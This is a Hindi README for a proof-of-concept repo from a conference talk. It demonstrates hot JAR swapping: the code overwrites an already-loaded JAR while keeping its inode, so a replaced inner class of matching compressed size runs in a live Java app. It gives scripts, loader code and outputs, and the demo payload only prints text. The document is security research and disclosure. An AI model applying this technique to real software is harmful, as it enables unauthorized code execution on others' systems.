
URLClassLoader JAR-स्वैपिंग का डेमो जो पहले से लोड किए गए JAR को इनर क्लासेस के साथ बदलने और उसका शोषण करने की क्षमता दर्शाता है।
निम्न उदाहरण कोड पहले से लोड की गई JAR-फ़ाइल को हॉट jar स्वैप करने और कोड निष्पादन प्राप्त करने की क्षमता दिखाता है, इस तथ्य का दुरुपयोग करके कि जब तक inode नहीं बदलता, इनर क्लासेस आह्वान किए जाने पर JAR फ़ाइल तक पहुँचती रहती हैं।
MacOS और OpenJDK पर परीक्षण किया गया (और Transporter का उपयोग करके Apple के Author प्रकाशक पर भी शोषण किया गया)।
Frans Rosén के टॉक "Story of a RCE on Apple through hot jar swapping" (NahamCon 2022 EU) से डेमो।
build-and-run.shआप इसे इस प्रकार चलाते हैं:
./build-and-run.sh
यह निम्नलिखित करेगा:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper URLClassLoader का उपयोग करके HelloWorld.Main-क्लास को लोड और रन करेगा और आपको HelloWorld.Secondary-क्लास से hello मेथड चलाने के लिए संकेत देगा, जो पहले से लोड हो चुकी है। यह नियंत्रित करने के लिए है कि पहले से लोड की गई JAR को कब बदला जाए।
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
अब आप तय कर सकते हैं कि आप बिना कोई JAR बदले एंटर दबाना चाहते हैं, यह HelloWorld/Secondary.java से सही कोड प्रवाह दिखाएगा:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shexploit.sh निम्नलिखित करेगा:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
HelloWorld.jar को exploit.jar से अधिलेखित करते समय कॉपी करने वाला हिस्सा महत्वपूर्ण है, क्योंकि यदि inode बदलता है तो एक्सप्लॉइट सफल नहीं होगा। एक mv कमांड नया inode लिखेगा, लेकिन किसी मौजूदा फ़ाइल में cp नया inode नहीं लिखेगा। ZIP-एक्सट्रैक्ट का उपयोग करते समय भी ऐसा ही हुआ, मौजूदा JAR का inode कभी नहीं बदला, जिससे एक्सप्लॉइट काम कर सका।
यदि आप हॉट JAR स्वैपिंग का परीक्षण करना चाहते हैं, तो build-and-run.sh चलाते समय रन करने के बाद लेकिन एंटर दबाने से पहले exploit.sh को किसी अन्य विंडो में चलाएँ:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
यदि आप अब ./build-and-run.sh पर एंटर दबाते हैं, तो आपको सफलतापूर्वक बदला हुआ कोड दिखना चाहिए:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
यह दर्शाता है कि हम इस तथ्य का दुरुपयोग कर सकते हैं कि इनर/अनाम-क्लासेस अभी भी भौतिक JAR-फ़ाइल से लोड हो रही हैं, भले ही URLClassLoader ने JAR को हमारे बदलने से पहले ही लोड कर लिया था।
यह कोड रेपो यह समझाने की कोशिश करता है कि आप कुछ पूर्वापेक्षाओं के तहत कोड निष्पादन पाने के लिए पहले से लोड की गई JAR-फ़ाइलों को अधिलेखित कर सकते हैं।
विचार यह है कि JAR को शुरू में URLClassLoader के साथ लोड किया गया था:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
और एक सेकेंडरी मेथड भी बूट पर लोड की गई थी लेकिन उसे कभी आह्वान नहीं किया गया:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
यदि ऐप चल रहे समय JAR को बदल दिया जाता है, और जो क्लास लोड की गई थी लेकिन उसके किसी भी मेथड को आह्वान नहीं किया गया था, उसमें भी इनर क्लासेस हैं, तो हम उससे नए JAR से अलग कोड चलवा सकते हैं यदि आह्वान बाद में होता है:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
इसलिए यदि इस मेथड में एक इनर-क्लास है (वे JAR में $1.class के रूप में दिखती हैं) और हम इनर-क्लास को समान आकार और कम्प्रेशन दर वाली किसी चीज़ से बदल देते हैं, तो हम JAR को हॉट स्वैप कर सकते हैं और अपना कोड चला सकते हैं।
Exploit/HelloWorld/Secondary.java फ़ाइल से अनाम क्लास संकलित होकर इनर क्लास Exploit/HelloWorld/Secondary$1.class बनाती है, जिसका आकार और कम्प्रेशन दर वही होती है जो HelloWorld/Secondary.java के संकलित और संपीड़ित होने पर होती है। यदि आकार या कम्प्रेशन दर भिन्न होती है, तो build-and-run.sh में एंटर दबाने पर आपको क्रैश मिलेगा।
इसलिए यदि आप Exploit/HelloWorld/Secondary.java को उदाहरण के लिए (function: की जगह functionn) बदलते हैं:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
जहाँ कम्प्रेशन परिणाम समान है लेकिन कम्प्रेशन दर गलत है:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
आप यह देखेंगे:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
OpenJDK पर ऐसा लगता है कि यदि मूल आकार भिन्न है लेकिन कम्प्रेशन आकार समान है, तब भी यह काम करता है:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
exploit.sh फिर भी कहेगा कि अंतर है, क्योंकि यह सभी संस्करणों में काम नहीं कर सकता।
आप यह भी देखेंगे कि यदि आप Exploit/HelloWorld/Secondary.java में इनर-क्लास के बाहर की चीज़ें बदलते हैं, जैसे:
System.out.println("\nEnd of run, goodbye");
इसमें:
System.out.println("\nEnd of run, goodbya");
जिससे Secondary.class का कम्प्रेशन दर और आकार समान हो जाएगा, फिर भी यह बदली गई सामग्री को ट्रिगर नहीं करेगा, क्योंकि क्लास URLClassLoader द्वारा पहले से लोड है, यह पुष्टि करता है कि यह केवल इनर-क्लासेस (JAR में $1.class नाम वाली) को प्रभावित करता है, क्योंकि वे उपयोग के समय JAR-फ़ाइल से लोड होती हैं:
End of run, goodbye